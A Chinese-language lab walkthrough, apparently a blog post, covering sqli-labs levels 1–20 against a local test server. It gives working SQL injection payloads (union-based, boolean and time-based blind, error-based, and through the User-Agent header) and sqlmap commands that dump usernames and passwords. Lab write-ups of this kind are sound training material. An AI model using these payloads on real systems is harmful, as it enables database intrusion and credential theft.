一、需要知道的内容
信息收集:
数据库版本:version()数据库名字:database() 数据库用户:user() 系统:@@version_compile_os
MySQL5.0以上版本自带一个information_schema数据库,储存所有的数据库名表名列名
数据库中 . (点)代表下一级 student.users 代表student数据库中的users表
二、关于sqlmap使用
看我另外一篇,点击下方蓝色字体
第1关
id=1,id=2返回类内容不同,输入的内容是带入到数据库里面查询了。
http://192.168.220.129/sql/sql/Less-1/?id=1
判断类型:这里我把源代码输出了,可以看到是单引号闭合
Order by 判断字段,4的时候报错,说明有3个字段
http://192.168.220.129/sql/sql/Less-1/?id=1' order by 4 --+
查看回显点
http://192.168.220.129/sql/sql/Less-1/?id=-1' union select 1,2,3 --+
拿到据库名security,用户root
http://192.168.220.129/sql/sql/Less-1/?id=-1' union select 1,database(),user() --+
分步拿数据:数据库名—>对应表名—>对应列名—>需要的数据
http://192.168.220.129/sql/sql/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
# 这里拿到数据库里的所有表名
http://192.168.220.129/sql/sql/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
# 拿到users表下面的所有字段名
http://192.168.220.129/sql/sql/Less-1/?id=-1' union select 1,2,group_concat(username,password) from users --+
# 拿到需要的数据
sqlmap:我这里使用kali自带的,win要加python
# 爆出当前数据库名字
sqlmap -u 'http://192.168.220.129/sql/sql/Less-1/?id=1' --current-db
# 爆出所有表
sqlmap -u 'http://192.168.220.129/sql/sql/Less-1/?id=1' -D security --tables
# 爆出所有字段
sqlmap -u 'http://192.168.220.129/sql/sql/Less-1/?id=1' -D security -T users --columns
# 列出字段内容,拿数据
sqlmap -u 'http://192.168.220.129/sql/sql/Less-1/?id=1' -D security -T users -C "id,username,password" --dump
最后放个成品图
第2关
比第一关还简单,没有任何闭合,这里直接上原码,流程跟第一关一样
判断回显点:
http://192.168.220.129/sql/sql/Less-2/?id=-1 union select 1,2,3
懒得截图,直接sqlmap
手动代码:
?id=-1 union select 1,2,3 --+
?id=-1 union select 1,database(),user() --+
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
?id=-1 union select 1,2,group_concat(username ,id , password) from users
# 爆出当前数据库名字
sqlmap -u 'http://192.168.220.129/sql/sql/Less-1/?id=1' --current-db
# 爆出所有表
sqlmap -u 'http://192.168.220.129/sql/sql/Less-1/?id=1' -D security --tables
# 爆出所有字段
sqlmap -u 'http://192.168.220.129/sql/sql/Less-1/?id=1' -D security -T users --columns
# 列出字段内容,拿数据
sqlmap -u 'http://192.168.220.129/sql/sql/Less-1/?id=1' -D security -T users -C "id,username,password" --dump
第3关
看源码是单引号加括号进行闭合
进行闭合,注释后面括号即可
?id=2')--+
?id=1') order by 3--+
?id=-1') union select 1,2,3--+
?id=-1') union select 1,database(),version()--+
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1') union select 1,2,group_concat(username ,id , password) from users--+
sqlmap使用不变
第4关
分析原码,闭合从单引号变成双引号罢了,过程不变,跟第三关一样
第5关
看源码单引号闭合,order by 测试出三个字段
http://192.168.220.129/sql/sql/Less-5/?id=2 ' order by 4--+
联合查询发现没有回显点
http://192.168.220.129/sql/sql/Less-5/?id=-2 ' union select 1,2,3 --+
没有回显点,联合注入就没用了,因为联合注入是需要页面有回显位。如果数据 不显示只有对错页面显示我们可以选择布尔盲注。布尔盲注主要用到length(),ascii() ,substr()这三个函数,首先通过length()函数确定长度再通过另外两个确定具体字符是什么。布尔盲注向对于联合注入来说需要花费大量时间。
这里通过lenght()函数判断数据库名字的长度,=9时报错,所以是8位(security)
http://192.168.220.129/sql/sql/Less-5/?id=1' and length((select database()))=8--+
写不下去了,复制人家的吧
?id=1'and length((select database()))>9--+
#大于号可以换成小于号或者等于号,主要是判断数据库的长度。lenfth()是获取当前数据库名的长度。如果数据库是haha那么length()就是4
?id=1'and ascii(substr((select database()),1,1))=115--+
#substr("78909",1,1)=7 substr(a,b,c)a是要截取的字符串,b是截取的位置,c是截取的长度。布尔盲注我们都是长度为1因为我们要一个个判断字符。ascii()是将截取的字符转换成对应的ascii吗,这样我们可以很好确定数字根据数字找到对应的字符。
?id=1'and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13--+
判断所有表名字符长度。
?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+
逐一判断表名
?id=1'and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+
判断所有字段名的长度
?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99--+
逐一判断字段名。
?id=1' and length((select group_concat(username,password) from users))>109--+
判断字段内容长度
?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))>50--+
逐一检测内容。
————————————————
版权声明:本文为CSDN博主「糊涂是福yyyy」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/dreamthe/article/details/123795302
这东西手工累嗝屁吧,我选择sqlmap
# sqlmap进行布尔盲注,爆出数据库名
sqlmap -u "http://192.168.220.129/sql/sql/Less-5/?id=1" --technique B --current-db --threads 10
看,一下子就爆出8位跟名字了
爆表
sqlmap -u "http://192.168.220.129/sql/sql/Less-5/?id=1" -D security --tables --threads 10
报数据
sqlmap -u "http://192.168.220.129/sql/sql/Less-5/?id=1" --threads 10 -D security -T users --columns
爆字段
sqlmap -u "http://192.168.220.129/sql/sql/Less-5/?id=1" --threads 10 -D security -T users -C "id,username,password" --dump
完美跑出来
第6关
看源码,跟上关一个样,闭合换成了双引号罢了
第7关
这不看原码,不用工具谁猜的出来,单引号加俩双引号,同上关
第8关
第八关和第五关一样就不多说了。只不过第八关没有报错信息,但是有you are in…进行参照。id参数是一个单引号字符串。
第9关
不管输入的正确的还是错误的页面都没变化,布尔盲注适合页面对于错误和正确结果有不同反应。如果页面一直不变这个时候我们可以使用时间注入,时间注入和布尔盲注两种没有多大差别只不过时间盲注多了if函数和sleep()函数。if(a,sleep(10),1)如果a结果是真的,那么执行sleep(10)页面延迟10秒,如果a的结果是假,执行1,页面不延迟。通过页面时间来判断出id参数是单引号字符串。
http://192.168.220.129/sql/sql/Less-9/?id=2' and 1=1--+
http://192.168.220.129/sql/sql/Less-9/?id=2' and 1=2--+
直接复制
?id=1' and if(1=1,sleep(5),1)--+
判断参数构造。
?id=1'and if(length((select database()))>9,sleep(5),1)--+
判断数据库名长度
?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+
逐一判断数据库字符
?id=1'and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(5),1)--+
判断所有表名长度
?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99,sleep(5),1)--+
逐一判断表名
?id=1'and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20,sleep(5),1)--+
判断所有字段名的长度
?id=1'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99,sleep(5),1)--+
逐一判断字段名。
?id=1' and if(length((select group_concat(username,password) from users))>109,sleep(5),1)--+
判断字段内容长度
?id=1' and if(ascii(substr((select group_concat(username,password) from users),1,1))>50,sleep(5),1)--+
sqlmap:还是这个好用
使用时间盲注爆出数据库名,10线程,指定数据库为mysql,延迟为3秒,级别3
sqlmap -u "http://192.168.220.129/sql/sql/Less-9/?id=2" --threads 10 -dbms mysql --time-sec 3 --current-db -level 3
爆出之后正常操作,这是最后的结果,完美
第10关
跟第九关一样,单引号变成了双引号
第11关
post注入,输入1,1,bp抓包可以看到
uname=1&passwd=1&submit=Submit
可知注入点在uname=1&passwd=1
这里我把原码输出了,字符型,单引号闭合
跟前面一样,order by猜字段,3报错,有2个,union查询
uname=1’ order by 3#&passwd=1&submit=
回显点
uname=1’ union select 1,2#&passwd=1&submit=Submit
爆表
uname=1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#&passwd=1&submit=Submit
爆列
uname=1’ union select 1,group_concat(column_name) from information_schema.columns where table_name=‘users’#&passwd=1&submit=Submit
爆字段
uname=1’ union select 1,group_concat(username,password) from users#&passwd=1&submit=Submit
sqlmap:
爆数据库名
sqlmap -u 'http://192.168.220.129/sql/sql/Less-11/' --data="uname=1&passwd=1&submit=Submit" --current-db
爆表
sqlmap -u 'http://192.168.220.129/sql/sql/Less-11/' --data="uname=1&passwd=1&submit=Submit" -threads 10 -D security --tables
爆字段
sqlmap -u 'http://192.168.220.129/sql/sql/Less-11/' --data="uname=1&passwd=1&submit=Submit" -threads 10 -D security -T users --columns
爆内容
sqlmap -u 'http://192.168.220.129/sql/sql/Less-11/' --data="uname=1&passwd=1&submit=Submit" -threads 10 -D security -T users -C "password,username" --dump
第12关
看源码,单引号变成了双引号加括号
第13关
看源码,闭合为单引号加括号
第14关
闭合为双引号
第15关
没有回显点了,但是输入正确的用户名和密码跟错误的,返回页面不一样,可以盲注
sqlmap盲注:这里我用的时间盲注,bp抓到的数据包保存到kali桌面
爆数据库名
sqlmap -r /root/桌面/15.txt --time-sec 3 --current-db
爆表
sqlmap -r /root/桌面/15.txt -D security --tables
时间很久,等吧,但是可以爆出来
第16关
跟上关一样,闭合变成双引号了,继续盲注,还是时间盲注就好了
第17关
分析原码,updata更新,盲注和联合都不可以了,可以使用报错注入
这关对用户名进行修改,要先知道正确的用户名,用户名输错网页会报错,注入点在passwd
先用sqlmap:
爆数据库名
sqlmap -u 'http://192.168.220.129/sql/sql/Less-17/?id=1' --data "uname=admin&passwd=admin&submit=Submit" --current-db --threads 8 --technique E
爆表
sqlmap -u 'http://192.168.220.129/sql/sql/Less-17/?id=1' --data "uname=admin&passwd=admin&submit=Submit" -D security -T --tables --threads 8 --technique E
爆字段
sqlmap -u 'http://192.168.220.129/sql/sql/Less-17/?id=1' --data "uname=admin&passwd=admin&submit=Submit" -D security -T users --columns --threads 8 --technique E
爆内容
sqlmap -u 'http://192.168.220.129/sql/sql/Less-17/?id=1' --data "uname=admin&passwd=admin&submit=Submit" -D security -T users -C "password,username" --dump --threads 8 --technique E
手动,三种报错extractvalue()报错注入,updatexml()报错注入和group by()报错注入
参考人家吧点我,点我,点我
1' and (extractvalue(1,concat(0x5c,version(),0x5c)))# 爆版本
1' and (extractvalue(1,concat(0x5c,database(),0x5c)))# 爆数据库
1' and (extractvalue(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x5c)))# 爆表名
1' and (extractvalue(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x5c)))#
爆字段名
1' and (extractvalue(1,concat(0x5c,(select password from (select password from users where username='admin1') b) ,0x5c)))# 爆字段内容该格式针对mysql数据库。
1' and (extractvalue(1,concat(0x5c,(select group_concat(username,password) from users),0x5c)))#
第18关
与上关不同,账号跟密码都被实例化了,这关必须先登录进去,登录进去之后可以看到浏览器UA和ip地址
在UA后面加个单引号,发现报错了所以这关肯定是在UA处搞事情,分析原码
注意该插入语句需要三个参数,所以我们在构造时候也需要有三个参数。因为#号后面都被注释了。
要考虑value的闭合问题,假如我们利用的点是$uagent,那构建格式就应该是1’,1,1)#
爆库名
User-Agent: ',extractvalue(1,concat(0x23,database(),0x23,version(),0x23,user())),1)#
爆表名
User-Agent:',extractvalue(1,concat(0x23,(select group_concat(table_name) from information_schema.tables where table_schema='security'))),1)#
爆列名
User-Agent:',extractvalue(1,concat(0x23,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'))),1)#
爆数据
',extractvalue(1,concat(0x23,mid((select group_concat(username) from security.users),1,32))),1)#
第19关
输入正确的账户密码我们的referer字段内容会显示在页面上。抓包,referer后面加个单引号,会报错,跟上面一样的操作
第20关
输入正确页面时候cookie字段显示在页面上